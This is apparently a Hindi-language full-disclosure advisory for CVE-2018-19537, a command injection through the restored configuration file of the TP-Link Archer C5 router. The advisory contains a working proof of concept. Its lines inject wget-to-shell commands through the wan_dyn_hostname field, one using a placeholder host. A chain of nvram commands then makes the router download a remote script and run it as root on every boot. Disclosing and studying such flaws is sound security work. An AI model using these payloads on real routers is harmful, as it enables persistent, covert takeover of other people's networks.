
CVE-2018-19537
TP-Link Archer C5 राउटर के सभी प्रकाशित फर्मवेयर संस्करणों में एक प्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता मौजूद है। एक दुर्भावनापूर्ण रूप से तैयार कॉन्फ़िगरेशन फ़ाइल अपलोड करके, एक हमलावर OS कमांड इंजेक्ट कर सकता है जो रूट विशेषाधिकारों के साथ चलते हैं।
Archer C5 राउटर प्रशासनिक उपयोगकर्ताओं को वर्तमान कॉन्फ़िगरेशन पैरामीटर को एक फ़ाइल में सहेजने और एक फ़ाइल से पैरामीटर को पुनर्स्थापित करने की अनुमति देता है। ये पैरामीटर उचित रूप से स्वच्छित (sanitized) प्रतीत होते हैं जब कोई उपयोगकर्ता उन्हें वेब GUI के भीतर सेट करने का प्रयास करता है। हालाँकि, जब कॉन्फ़िगरेशन फ़ाइल से सेट किए जाते हैं तो वे ठीक से स्वच्छित नहीं होते हैं। विशेष रूप से, हमने अपलोड की गई कॉन्फ़िगरेशन फ़ाइल में wan_dyn_hostname 1 <name> पैरामीटर के माध्यम से OS कमांड इंजेक्ट किए। अन्य पैरामीटर भी असुरक्षित हो सकते हैं।
एक वैध कॉन्फ़िगरेशन फ़ाइल राउटर के वेब GUI में "बैकअप और पुनर्स्थापना" मेनू से डाउनलोड की जा सकती है। निम्नलिखित HTTP अनुरोध राउटर के वर्तमान कॉन्फ़िगरेशन का बैकअप डाउनलोड करेगा:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
प्रतिक्रिया में फ़ाइल "config.bin" शामिल है, जो वह कॉन्फ़िगरेशन फ़ाइल है जिसके साथ हम छेड़छाड़ करेंगे।
कॉन्फ़िगरेशन फ़ाइलों को एक हार्ड-कोडेड कुंजी के साथ DES-एन्क्रिप्ट करके अस्पष्ट (obfuscated) किया जाता है। यह हार्ड-कोडेड कुंजी कई TP-Link उत्पादों में पुन: उपयोग की जाती प्रतीत होती है। इस हार्ड-कोडेड कुंजी मान की खोज के लिए Matteo Croce को श्रेय। http://teknoraver.net/software/hacks/tplink/
कॉन्फ़िगरेशन फ़ाइलों को एन्क्रिप्ट और डिक्रिप्ट करने के लिए दो सरल पायथन स्क्रिप्ट संलग्न हैं - क्रमशः "binify.py" और "unbinify.py"। एक डिक्रिप्ट की गई कॉन्फ़िगरेशन फ़ाइल में इस प्रकार के पैरामीटर होंगे:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
हम इस डिक्रिप्ट की गई कॉन्फ़िगरेशन फ़ाइल में wan_dyn_hostname पैरामीटर में एक दुर्भावनापूर्ण BusyBox कमांड जोड़कर छेड़छाड़ कर सकते हैं, इस प्रकार:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
फिर हम नई दुर्भावनापूर्ण कॉन्फ़िगरेशन फ़ाइल को एन्क्रिप्ट करते हैं और इसे वेब GUI के माध्यम से अपलोड करते हैं। राउटर स्वचालित रूप से रीबूट होगा। बूट प्रक्रिया में जल्दी, जब httpd प्रोग्राम चलाया जाता है, हमारा दुर्भावनापूर्ण BusyBox कमांड निष्पादित होता है। httpd के प्रासंगिक भाग का स्यूडोकोड कुछ इस प्रकार है:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// नेटवर्क इंटरफेस और कनेक्टिविटी सेट करना जारी रखें
इस शोषण की कई सीमाएँ हैं, BusyBox का उपयोग करने की सीमा से परे भी। Dropbear SSH सर्वर और telnetd वायरलेस लैन पर काम नहीं करते प्रतीत होते हैं, और होस्टनाम फर्मवेयर द्वारा 63 वर्णों तक सीमित है। इस सीमा को पार करने से अन्य सेटिंग्स ओवरराइट हो जाती हैं और इंटरनेट एक्सेस टूट जाता है। इसके अलावा, httpd को system() कॉल से लौटना होगा इससे पहले कि उसके पास वास्तव में कोई नेटवर्क कनेक्टिविटी हो (क्योंकि system() कॉल जिसका हम शोषण कर रहे हैं वही है जो हमारे WAN IP का अनुरोध करता है), और रूट फाइलसिस्टम केवल-पढ़ने योग्य है। उपरोक्त उदाहरण दुर्भावनापूर्ण कमांड काम नहीं करेगा; httpd wget द्वारा url को प्राप्त करने में विफल होगा क्योंकि उसके पास अभी तक इंटरनेट एक्सेस नहीं है, यह system() कॉल से लौटेगा, और फिर यह सामान्य रूप से काम करना जारी रखेगा।
इसलिए इस बिंदु पर हम एक केवल-पढ़ने योग्य फाइलसिस्टम पर, 63 वर्णों का BusyBox कमांड चला सकते हैं, जिसमें प्रोग्राम को तब तक प्रतीक्षा करने का कोई आसान तरीका नहीं है जब तक कि वह हमारे कमांड को निष्पादित करने से पहले नेटवर्क कनेक्टिविटी स्थापित करना समाप्त न कर ले। हम इसे कुछ मिनट सोने और फिर निष्पादित करने के लिए नहीं कह सकते, क्योंकि system() कॉल जिसमें हम इंजेक्ट कर रहे हैं, वह निष्पादन को अवरुद्ध (blocking) कर रहा है।
हालाँकि, एक चीज जो हम कर सकते हैं, वह है निष्पादन के इस बिंदु पर httpd का एक और इंस्टेंस शुरू करना। httpd का यह इंस्टेंस भी इस system कॉल को चलाएगा, जो हमें एक लूप में छोड़ देता है जो लगातार httpd के अधिक इंस्टेंस उत्पन्न करेगा, लेकिन मूल httpd प्रक्रियाओं को निष्पादन जारी रखने और अंततः नेटवर्क कनेक्टिविटी बहाल करने की अनुमति देता है। मेमोरी खत्म होने से बचने के लिए, हम यह जाँच करके इस लूप को समाप्त करते हैं कि क्या हमारा शोषण डाउनलोड हो गया है।
उपरोक्त सीमाओं के भीतर काम करते हुए, हम निम्नलिखित शेल स्क्रिप्ट लेकर आए, जो wget के साथ इंटरनेट से एक फ़ाइल प्राप्त करती है और इसे सीधे /bin/sh पर पाइप करती है।
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
या, एक पंक्ति में, संक्षिप्त:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
यह स्क्रिप्ट विशाल 89 वर्णों की है, इसलिए हमें इसे भागों में अपलोड करना होगा। लेकिन कैसे? एक कमांड अपलोड करने से रीबूट होता है, और रीबूट राउटर की स्थिति को ताज़ा करता है। हमने महसूस किया कि हम अपना स्वयं का NVRAM वेरिएबल बना सकते हैं, और इसे बाद के कमांड में संदर्भित करके एक कमांड का निर्माण कर सकते हैं जिसे हम अंततः चलाते हैं।
हमने भेद्यता का उपयोग करके निम्नलिखित कमांड इंजेक्ट किए और एक शोषण का निर्माण किया:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
और अंत में, होस्टनाम को निम्नलिखित पर सेट करके शोषण को ट्रिगर करें:
; udhcpc; nvram get a | /bin/sh ;
यह स्क्रिप्ट राउटर के NVRAM में संग्रहीत है, प्रत्येक बूट पर चलेगी, और राउटर सामान्य रूप से काम करता रहेगा। अंतिम परिणाम यह है कि राउटर हर बार बूट होने पर इंटरनेट तक पहुंचेगा, एक फ़ाइल डाउनलोड करेगा, और इसे रूट के रूप में चलाएगा।
जैसा कि दिखाया गया है, इस भेद्यता का शोषण करके राउटर को इंटरनेट पर पहुंचने, एक पेलोड प्राप्त करने और इसे रूट विशेषाधिकारों के साथ चलाने के लिए प्रेरित किया जा सकता है। इसलिए डिवाइस की गोपनीयता, अखंडता और उपलब्धता पर उच्च प्रभाव पड़ता है।
कॉन्फ़िगरेशन फ़ाइल के wan_dyn_hostname पैरामीटर के माध्यम से एक कमांड इंजेक्ट करने की प्रक्रिया सरल है। इस कमांड की सीमाओं से बाहर निकलकर सामान्य राउटर कार्यक्षमता को बाधित किए बिना कोई भी मनमाना पेलोड चलाना मध्यम रूप से जटिल है।
यह हमला मध्यम रूप से दृश्यमान है, क्योंकि इसमें डिवाइस का कम से कम एक रीबूट आवश्यक है। हमारे POC के लिए 5 क्रमिक रीबूट की आवश्यकता होती है, लेकिन यह तब तक बना रहता है जब तक डिवाइस को फ़ैक्टरी रीसेट नहीं किया जाता।
इस भेद्यता का शोषण कोई भी व्यक्ति कर सकता है जिसके पास वेब व्यवस्थापक खाते तक पहुंच है। इस प्रकार, राउटर की डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ, इसे डिफ़ॉल्ट व्यवस्थापक क्रेडेंशियल "admin:admin" के साथ LAN / WLAN कनेक्टिविटी के माध्यम से शोषित किया जा सकता है। यदि रिमोट मैनेजमेंट सक्षम है तो इस भेद्यता का इंटरनेट पर दूरस्थ रूप से शोषण किया जा सकता है। रिमोट मैनेजमेंट डिफ़ॉल्ट रूप से अक्षम है।
यह भेद्यता अपेक्षाकृत सरल है, जिससे हमें विश्वास होता है कि यह संभवतः पहले भी पाई और शोषित की जा चुकी है। इस हमले के खिलाफ बचाव भी अविश्वसनीय रूप से सरल है: डिफ़ॉल्ट व्यवस्थापक पासवर्ड का उपयोग न करें। वेब व्यवस्थापक खाते के लिए एक मजबूत पासवर्ड इस हमले को रोक देगा। क्योंकि इसका शोषण करना बहुत आसान है, और इसे कम करना भी बहुत आसान है, हम मानते हैं कि पूर्ण प्रकटीकरण जनता के सर्वोत्तम हित में है।
हमारे PoC के लिए, हमने "wan_dyn_hostname" पैरामीटर के माध्यम से इंजेक्शन लगाया। हालाँकि, कॉन्फ़िग फ़ाइल में कुल 1190 पैरामीटर हैं, जिनमें से कई इंजेक्टेबल हो सकते हैं।